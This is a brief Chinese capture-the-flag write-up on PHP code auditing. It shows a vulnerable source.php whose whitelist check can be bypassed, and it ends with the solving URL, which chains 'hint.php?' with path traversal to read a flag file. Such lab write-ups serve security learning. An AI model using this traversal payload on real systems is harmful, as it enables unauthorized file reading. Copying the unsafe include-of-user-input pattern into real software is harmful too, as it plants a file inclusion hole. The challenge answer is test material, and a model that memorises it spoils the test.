关于PHP代码审计的
打开F12看看有什么提示
发现有个 source.php 可以查看一下
看一下代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) //创建函数 checkFile
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //第一次检测是否在白名单里面
return true;
}
$_page = mb_substr( //如果存在?则存?前面取值
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //第二次检测传进来的值是否匹配
return true;
}
//这里还存在一个url解码
$_page = urldecode($page);
$_page = mb_substr( //二次过滤?
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //第三次检测
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问 hint.php
在这个目录下的 ffffllllaaaagggg 下
构造url,得到flag
在这里要注意 ? 后面是有 / 的
04c6cd28-0748-415e-baca-3a3e96b4f3f9.node5.buuoj.cn:81/?file=hint.php?/../../../../../ffffllllaaaagggg